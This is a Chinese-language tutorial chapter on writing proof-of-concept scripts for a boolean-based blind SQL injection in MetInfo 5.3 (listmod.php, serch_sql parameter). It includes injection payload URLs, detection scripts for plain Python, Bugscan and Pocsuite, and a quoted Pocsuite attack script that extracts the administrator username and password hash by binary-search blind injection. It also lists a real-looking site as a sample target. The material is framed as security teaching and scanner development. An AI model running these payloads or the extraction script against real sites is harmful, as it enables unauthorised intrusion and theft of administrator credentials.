PoC 编写指南(第 2 章 SQL 注入类 PoC 编写 中篇)

《PoC 编写指南》现已经同步至 gitbook,博客和 gitbook 会同步更新,地址: http://poc.evalbug.com/

2.3 基于布尔的盲注的 SQL 注入 PoC 编写

这次我们选择的漏洞为 MetInfo 5.3 /include/global/listmod.php SQL 注入漏洞

2.3.1 漏洞分析

想看原文分析的可以点上面的链接去研究,你别看我的标题和原文作者的不一样,内容其实是一样的。

原文中的分析不是太详细,但是呢,我暂时不想详解这个漏洞,后面再看吧,如果有需要的话。

根据原文中分析我们知道了,存在 SQL 注入的文件是 /include/global/listmod.php , 存在注入的变量是 $serch_sql。

在 listmod.php 文件 200 行的位置拼接了 SQL 语句,在拼接 SQL 语句之前,对 $serch_sql 变量进行了初始化操作,但是呢,控制它是否初始化的另一个变量为 $imgproduct。

当这个 $imgproduct 变量非 search 的任意字符的时候,导致 $serch_sql 不能进行初始化,从而可以自定义 $serch_sql 进行注入。

阅读原文后我们得到了目标 URL,

1
http://xxx.com/news/news.php?lang=cn&class2=5&serch_sql=123qweasd&imgproduct=xxxx

存在注入的参数是 search_sql 注入的类型是 Boolean-Based Blind。

2.3.2 漏洞复现

手工复现漏洞对学习可是很有帮助的。不管你信不信,我反正是信了。

本地搭建 MetInfo 环境, 下载地址Metinfo5.3下载地址

读者下载完安装包后,进行安装,具体安装步骤在此处不再赘述。

笔者安装完毕后网站的地址为: http://127.0.0.1/MetInfo/

访问安装后的地址,如果正常访问,那就代表安装成功,我们可以继续后面的步骤了。

这里要强调一点,如果你是 Linux 系统,那么 Web 容器对目录与文件名的大小写是敏感的,笔者建议直接目录在创建的时候用小写

根据原漏洞详情的描述,我们直接访问:

1
http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe&imgproduct=xxxx

2-6

注意看图中业界资讯下方的条目

好啦,然后我们给 search_sql 的参数后加一个单引号

1
http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe'&imgproduct=xxxx

2-7

图中业界资讯下方一条记录也没有了。

于是我们得出一个结论存在 SQL 注入。那么我们再想一下,我们怎么判断存在 SQL 注入的呢?

先请求正常的页面(也就是上面的第一个链接),然后再请求带单引号的页面(也就是上面的第二个链接),如果两次结果不一样,就判断存在注入了。

看起来是这样的,对吧?实际上呢,上面说的话不是很严谨。

我们验证 SQL 注入的时候,一定一定一定是为了证明我们输入的字符被当作 SQL 指令执行了

如果我们只用上面这两个链接来判断存在注入的话,这误报率简直高到没边了。仔细思考一下为什么。

在实际中,是非常之复杂的,我们试想一下,假设有一个网站,它装了一个 WAF, 当你请求第一个没单引号的链接的时候,它返回的是正常的页面,然后,当你请求中带了一个单引号的时候,WAF 给你拦了,然后返回了一个请不要注入的提示的页面出来。

妥妥的误报。是吧?这样我们就得修改一下这个两个请求了。

我们看一下这个请求的 SQL 语句是什么样子的:

1
SELECT * FROM met_news 123qwe where lang='cn'  and (recycle='0' or recycle='-1') and (( class1='2'  and class2='5' ) ) and displaytype='1' and addtime<='2015-12-29 17:59:20'  order by top_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 8

上面这个你可以通过 tcpdump 抓包来得到,也可以通过修改网站源代码的方式,在查询前打印 SQL 语句,两种方法都可以,看个人喜好了

看到上面的 SQL 语句之后,我直接把对应的 Payload 也贴出来。这里我为了省流量我只贴重点部分

1
2
3
4
# 返回有数据的页面
serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx
# 返回无数据的页面
serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx

解释一下后面的 -- x ,这个是 Mysql 的注释,后面的 x 是为了让读者看清楚两个横线后面是有个空格的。

对比两个 Payload, 发现唯一的差别就是 4343=4343 和 4343=4342 了,当然这里的这个数字嘛,随便写的,以前大家都喜欢用 1=1, 1=2 这种来测试,那么有些 WAF 自然也是把这个加入到其特征里面喽,所以建议不要用这种。两者其实功能上都是一样的。

然后要详细说一下为什么要这样请求了。第一个 4343=4343 表达式返回的肯定是为真的,那么是会有数据的,而 4343=4342 这显然是不相等的,所以第二个 SQL 语句肯定是没有数据的。那么我们就可以对比两次请求的结果来判断是不是存在注入了。

思考一下,这与前面说的两种请求方式有什么不同

WAF。没错,我们两次请求的 Payload 也只有数字这里不同,如果说目标有 WAF 的话(比方说这个 WAF 拦的是 where 这个关键字),那么我们两次请求的结果都会是被拦截的页面。

于是我们要请求的两个链接就是:

1
2
3
4
5
# 返回有数据的页面
http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx

# 返回无数据的页面
http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx

那意思是说,我们现在就可以编写 PoC 了?打住。如果这个时候急着写 PoC,还是考虑的不够深入。

把视线再移到 GET 参数上面,我们看到除了 serch_sql 和 imgproduct 两个参数之外,还有 lang 和 class2 这两个参数。试着删除掉这两个参数看看结果发现这两个参数其实是必不可少的,同时,也会影响页面访问结果。

  • lang 网站语言环境,我们测试安装的时候语言环境是 cn,但是你不能说所有的网站的语言都支持 cn。
  • class2 这个参数是二级栏目, 取值也是相应的二级栏目的 id。我们测试的时候,栏目的 id 用的是 5,对应的测试数据是 “业界资讯”,那么问题来了,所有的 MetInfo 二次开发的站都会有 id 等于 5 的这个栏目吗?显然不是。
  • 如果我们选择的这个栏目下,本来就没有数据呢,即使存在注入也会被判断成没注入吧?好在这个漏洞中返回的新闻列表是所有分类的新闻

    当然,如果这个站真的一条新闻都没有的话,就不能通过 Boolean-Based Blind 这种类型来注入了。那自然就不在本节的讨论范围之内了。

OK, 终于可以整理验证的思路了。

  1. 访问 /news/ 获取到真实的栏目 id 和 lang
  2. 带上返回值为 True 的 Payload 即:serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx
  3. 带上返回值一定为 False 的 Payload 即:serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx
  4. 比较 2, 3 中的新闻列表处的数据是否有变化,如果 2 有数据而 3 无数据,就证明存在注入。

上面说的这些,都是一些小细节,除了 SQL 注入 Payload 构造的技巧之外,还应该要结合具体的 CMS 的一些特点。这样 PoC 用来批量扫描的时候才不会出太多问题。

既然说到应该结合整个 CMS 具体的一些特点的话,我们观察在访问 /news/index.php 的时候,在正文部分其实是有一部分数据的,那么这两者之前肯定是存在调用的,我们访问下面地址看看:

1
2
3
4
5
# 1. 1234=1234
http://127.0.0.1/MetInfo/news/index.php?serch_sql= 123qwe where 1234=1234 -- x&imgproduct=xxxx

# 2. 1234=1235
http://127.0.0.1/MetInfo/news/index.php?serch_sql= 123qwe where 1234=1235 -- x&imgproduct=xxxx

访问上面两个链接之后发现,第一个请求的响应页面中有数据,而第二个请求的响应页面中没有数据

怎么样?这不就达到我们一开始想说的了效果了吗?这时完全可以不考虑 class2 的值是什么了呀。突然觉得之前折腾了那么久全是白费力气,这感觉真酸爽。

所以说洞主给的方案不一定是唯一的,PoC 编写的时候做一下必要的分析还是能减少很多无用功的。

2.3.3 无框架 PoC 编写

我直接上 python 脚本吧,我也没统一处理输入输出什么的,因为这些都不是重点。

代码2_3_1.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# coding:utf-8

import urllib2
import re


def verify(url):
payloadtrue = "{target}/news/index.php?"\
"serch_sql=%20123qwe%20"\
"where%201234%3D1234%20--%20x&imgproduct=xxxx".format(target=url)

payloadfalse = "{target}/news/index.php?"\
"serch_sql=%20123qwe%20"\
"where%201234%3D1235%20--%20x&imgproduct=xxxx".format(target=url)
try:
req = urllib2.Request(payloadtrue)
resp = urllib2.urlopen(req)
if resp.code != 200:
return
data_true = resp.read()
# 如果第一次请求没数据,说明可能是被 WAF 拦了或者是真的没数据
# 又或者是自己定制了一个 404 的页面(返回码是 200)
if not re.search(r'href=["\' ]shownews\.php\?lang=', data_true, re.M):
return

req = urllib2.Request(payloadfalse)
resp = urllib2.urlopen(req)
if resp.code != 200:
return
data_false = resp.read()
# 第二次请求有数据的话,就说明不存在漏洞
if re.search(r'href=["\' ]shownews\.php\?lang=', data_false, re.M):
return
print "%s is vulnerable!" % url
except:
pass

if __name__ == '__main__':
verify(url="http://127.0.0.1/MetInfo/")

上面的脚本在注释中已经把判断的逻辑写的很清楚了,也没什么要说的地方。

值得一提的是:我们在判断的时候,选取的判断字符串一定要能区分这两个页面,并且要有一定的通用性。除了以上这些,还应该尽可能的复杂一些,这样在全网扫的时候误报率相对就低了下来。

当然还可以通过返回包的大小来判断,但是如果仅仅靠这个来判断的话,误报率是比较高的。

我们运行一下2_3_1.py看看效果吧:

1
2
➜  2-3  python 2_3_1.py
http://127.0.0.1/MetInfo/ is vulnerable!

2.3.4 基于 Bugscan 框架的扫描插件编写

Bugscan 要求是使用官方 sdk 中给出的 curl 来发送 http 请求,我直接贴上代码

代码 2_3_2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import re


def assign(service, arg):
if service == "metinfo":
return True, arg


def audit(arg):
verify(arg)


def verify(url):
payloadtrue = "{target}/news/index.php?"\
"serch_sql=%20123qwe%20"\
"where%201234%3D1234%20--%20x&imgproduct=xxxx".format(target=url)

payloadfalse = "{target}/news/index.php?"\
"serch_sql=%20123qwe%20"\
"where%201234%3D1235%20--%20x&imgproduct=xxxx".format(target=url)
try:
code, head, body, errcode, redirect_url = curl.curl2(payloadtrue)
if code != 200 or not\
re.search('href=["\' ]shownews\.php\?lang=', body, re.M):
return

code, head, body, errcode, redirect_url = curl.curl2(payloadfalse)
if code != 200 or\
re.search('href=["\' ]shownews\.php\?lang=', body, re.M):
return
security_hole("%s" % (payloadtrue))
except:
pass

if __name__ == '__main__':
from dummy import *
audit(assign('metinfo', 'http://127.0.0.1/MetInfo/')[1])

对比下无框架的 PoC, 是不是觉得基本什么都没变呢,只是换了个入口和修改了一下发送的请求的方式而已。

本地运行一下看下结果:

1
2
➜  2-3  python 2_3_2.py
[LOG] <hole> http://http://127.0.0.1/MetInfo//news/index.php?serch_sql=%20123qwe%20where%201234%3D1234%20--%20x&imgproduct=xxxx

另外要提的一点,在我写的时候 Bugscan 平台上已经有人编写过这个插件了。

我也顺便把该作者的代码贴到下方,方便读者参考学习(侵权删)。

看之前我还是提一下吧,我简单修正了一下原作者的代码风格。

我们在写代码的时候一定要养成一个好习惯,Python 遵循的是 PEP8 规范,
这样自己看起来也会爽的很多。另外,不要在代码中留下太多无用的调试代码。

代码 2_3_3.py metinfo v5.3.1 news.php sql盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env
# *_* coding: utf-8 *_*

# name: MetInfo V5.3.1 news.php sql注入
# author: yichin
# refer: http://www.wooyun.org/bugs/wooyun-2015-0119166

import re


def assign(service, arg):
if service == 'metinfo':
return True, arg


def audit(arg):
# 获取classid
code, head, res, err, _ = curl.curl2(arg + '/news/')
if code != 200:
return False

m = re.search(r'(/news.php\?[a-zA-Z0-9&=]*class[\d]+=[\d]+)[\'"]', res)
if m is None:
return False

# 注入点
# 条件真
payload = arg + 'news' + m.group(1) + '&serch_sql=as%20a%20join%20information_schema.CHARACTER_SETS%20as%20b%20where%20if(ascii(substr(b.CHARACTER_SET_NAME,1,1))>0,1,0)%20limit%201--%20sd&imgproduct=xxxx'
# 条件假
verify = arg + 'news' + m.group(1) + '&serch_sql=as%20a%20join%20information_schema.CHARACTER_SETS%20as%20b%20where%20if(ascii(substr(b.CHARACTER_SET_NAME,1,1))>255,1,0)%20limit%201--%20sd&imgproduct=xxxx'

code, head, payload_res, err, _ = curl.curl2(payload)
if code != 200:
return False
code, head, verify_res, err, _ = curl.curl2(verify)
if code != 200:
return False
# 判断页面中是否有新闻
pattern = re.compile(r'<h2><a href=[\'"]?[./a-zA-Z0-9_-]*shownews.php\?')
if pattern.search(payload_res) and pattern.search(verify_res) is None:
security_hole(arg + ' metinfo cms news.php blind sql injection')
else:
return False
if __name__ == '__main__':
from dummy import *
audit(assign('metinfo', 'http://www.example.com/')[1])

可以看出作者先访问 /news/index.php 取得了 classid,然后再继续测试的。相比之下,代码 2_3_2.py2_3_3.py少发一次请求。

不要小看这一次请求哟,我们平均访问一次网页假设要消耗 100ms, 1s = 1000 ms, 如果我们待扫描的目标有 10w,那么这个小改动会帮你节省接近 3 个小时(100000 * 100 / 1000 / 3600 = 2.78)。

2.3.5 基于 Pocsuite 框架 验证加攻击

Bugscan 是扫描器,我在开篇的时候讲过,扫描器是要求无损扫描的,如果有注入,一定不要去把人家管理员密码给人注出来,但是在 Pocsuite 里面的话,提供了一种带有攻击性质的验证逻辑。

我们先写 PoC 中验证逻辑部分吧,带有攻击性质的这个暂且不表,我会在后面补上的。

代码 2_3_4.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re


class TestPOC(POCBase):
vulID = '89367'
version = '1.0'
author = ['Anonymous']
vulDate = '2015-06-15'
createDate = '2016-01-28'
updateDate = '2016-01-28'
references = ['http://www.seebug.org/vuldb/ssvid-89367']
name = 'MetInfo 5.3 /include/global/listmod.php SQL注入'
appPowerLink = 'http://www.metinfo.cn/'
appName = 'MetInfo'
appVersion = '5.3'
vulType = 'SQL injection'
desc = '''
search_sql 变量没有过滤直接带入 SQL 语句导致注入,
可以获取管理员的账号密码,造成信息泄露甚至数据库被拖。

Boolean-Based Blind SQL injection
'''
samples = ['http://www.lzqidi.com/']

def _attack(self):
return self._verify()

def _verify(self):
result = {}
payloadtrue = "{target}/news/index.php?"\
"serch_sql=%20123qwe%20"\
"where%201234%3D1234%20--%20x&imgproduct=xxxx".format(
target=self.url)

payloadfalse = "{target}/news/index.php?"\
"serch_sql=%20123qwe%20"\
"where%201234%3D1235%20--%20x&imgproduct=xxxx".format(
target=self.url)
try:
resptrue = req.get(payloadtrue)
if resptrue.status_code != 200 or not\
re.search(
'href=["\' ]shownews\.php\?lang=',
resptrue.content, re.M):
return self.parse_output(result)
respfalse = req.get(payloadfalse)
if respfalse.status_code != 200 or\
re.search(
'href=["\' ]shownews\.php\?lang=',
respfalse.content, re.M):
return self.parse_output(result)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = payloadtrue
except:
pass
return self.parse_output(result)

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output


register(TestPOC)

将代码 2_3_4.py 保存到本地后用 Pocsuite 运行测试。

执行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  2-3  pocsuite -r 2_3_4.py -u 127.0.0.1/Metinfo/

,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-' '-.,---. {1.0.0dev-a2ea8ba}
| .-. | .-. | .--( .-'| || ,--'-. .-| .-. :
| '-' ' '-' \ `--.-' `' '' | | | | \ --.
| |-' `---' `---`----' `----'`--' `--' `----'
`--' http://sebug.net

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 15:06:42

[15:06:42] [*] checking 2_3_4
[15:06:42] [*] poc:'2_3_4' target:'127.0.0.1/Metinfo/'
[15:06:42] [+] poc-89367 'MetInfo 5.3 /include/global/listmod.php SQL注入' has already been detected against 'http://127.0.0.1/Metinfo/'.
[15:06:42] [+] URL : http://127.0.0.1/Metinfo//news/index.php?serch_sql=%20123qwe%20where%201234%3D1234%20--%20x&imgproduct=xxxx
+--------------------+----------+--------+-----------+---------+---------+
| target-url | poc-name | poc-id | component | version | status |
+--------------------+----------+--------+-----------+---------+---------+
| 127.0.0.1/Metinfo/ | 2_3_4 | 89367 | MetInfo | 5.3 | success |
+--------------------+----------+--------+-----------+---------+---------+
success : 1 / 1

[*] shutting down at 15:06:42

读者可以再次对比一下无框架 PoC 和有框架 PoC 的区别。

基本上验证就已经讲完了,有兴趣的可以继续看下面的爆数据部分。

盲注猜数据

暂时不想写怎么爆数据了,后面会更, 我给个思路,读者可以先自己实现一下

思路

我们不要着急,一层一层思考啊

  1. 管理员的用户名和密码肯定是在 [a-zA-Z0-9] 这个集合里面的(如果不区分大小写就是 [a-Z0-9])。比如 e10adc3949ba59abbe56e057f20f883e
  2. 如果让你人工去猜这个密码字符串,你会怎么猜?这里我们就可以用 if 语句来判断了,如果我们猜对了,就返回 True,猜错了,就返回 False,那么一旦出现了有数据的页面,说明你猜对了。
  3. 一次猜整个字符串的那概率相当之小,所以我们可以拆分字符串呀,从第一个字符开始猜,猜到最后一个。那假设你在猜第 1 个字符,它可取的值有 36 个,怎么猜?从 a 一个一个猜到 z ,从 0 猜到 9,肯定有一个满足条件的。
  4. 天呐,这样一个一个猜好累啊。有什么办法能提高比较效率呢?这里我们可以使用二分法(也叫折半查找)

    举个例子子来说啊,比如我们要猜 1 中给的这个例子的第 1 个字符(e),我先看它是不是在 n 后面(a-z 的中间字母)?不在,好,然后再看是不是在 g 后面(a-n 的中间字母)?不在,那我将 a-g 再从中间分一下,就是字母 d 了,在不在 d 后面呢?在。OK,现在这个字符所在的区间是 d-g(defg),中间字母是 e ,那么这个字符在不在 e 后面呢?不在。于是现在区间又成了 de, 那么再比较一次, 这样就把猜出来是 e 了。

这样对一个字母,平均比较次数是 5 次,这样一来就会节约了大量的时间。你也许会说,呵呵呵,如果我猜的字母是 a ,我用传统的比较法一次就蒙对了呢。少年,那你有考虑过这个字符有可能是 z 吗?

当然 Seebug 平台上已经有人写了这个漏洞的 PoC 了,这个 PoC 里面就运用了二分法思路来猜数据。

Sebug MetInfo 5.3 /include/global/listmod.php SQL注入

我把 PoC 代码也贴上来,让读者参考一下(侵权删):

代码 2_3_5.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# coding: utf-8
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '1902' # vul ID
version = '1'
author = ['ricter']
vulDate = '2015-06-15'
createDate = '2015-06-16'
updateDate = '2015-06-16'
references = ['http://wooyun.org/bugs/wooyun-2015-0119166']
name = 'MetInfo 5.3 /include/global/listmod.php SQL注入漏洞 POC'
appPowerLink = 'http://www.metinfo.cn'
appName = 'MetInfo'
appVersion = '5.3'
vulType = 'SQL Injection'
desc = '''
变量直接带入 SQL 语句导致注入,可以获取管理员的账号密码,造成
信息泄露。
'''

samples = ['']

def get_flag(self, payload, offset, opt, char):
payload = ('as a left join met_admin_table as b on 1 where ord(substr('
'%s,%s,1))%s%s and b.id = 1 limit 1#' % (payload, offset,
opt, char))
params = {
'lang': 'cn',
'class2': 5,
'imgproduct': 'z',
'serch_sql': payload
}
response = req.get('%s/news/news.php' % self.url, params=params)
return 'shownews.php' in response.content

def fetch_data(self, payload, offset):
low, height = 0, 255
while low <= height:
mid = (low + height) / 2
if self.get_flag(payload, offset, '>', mid):
if self.verbose:
print '>', mid
low = mid + 1
elif self.get_flag(payload, offset, '=', mid):
if self.verbose:
print '=', mid
return mid
else:
if self.verbose:
print '<', mid
height = mid - 1

return 0

def _attack(self):
result = {}
username, password = [], []
offset = 0
while 1:
offset += 1
data = self.fetch_data('b.admin_id', offset)
if not data:
break
username.append(chr(data))

offset = 0
while 1:
offset += 1
data = self.fetch_data('b.admin_pass', offset)
if not data:
break
password.append(chr(data))

if len(password) == 32 and username:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = ''.join(username)
result['AdminInfo']['Password'] = ''.join(password)

return self.parse_attack(result)

def _verify(self):
return self._attack()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output


register(TestPOC)

要写一个没有人工参与的,尽可能的准确的攻击脚本还是略麻烦的,与其是自己实现,还不如你直接换 sqlmap 去更方便一些。

这里我不禁想提几个问题出来

  1. 什么是 Attack?
  2. Attack 中到底要达到什么样子的效果呢?注出 CMS 的管理员账号密码?注几个?注出数据库连接账号?如果有写文件权限是不是要写 shell 上去呢?写了 shell 要不试试提权吧?提了权要不再放个后门搞个免杀?……
  3. 如果对方的表前缀不是 met_ 呢?

我就是想太多,这个 Attack 其实在实际当中并没什么太大的用处。

2.3.6 总结

总结一下这节学到的东西

  1. 布尔类型的 SQL 盲注,一般通过比较返回页面的数据变化来判断
  2. SQL 注入检测是证明指令被执行了
  3. 编写 PoC 如果能结合 CMS 的具体特点,会通用,提高性能
  4. 适当的应用一些算法,可以在幅度提高检测效率,节约时间
  5. 不要用默认的表前缀在一定程度上可以提高被黑的门槛

2016/01/27 感谢 SuperCheng 提供原始稿件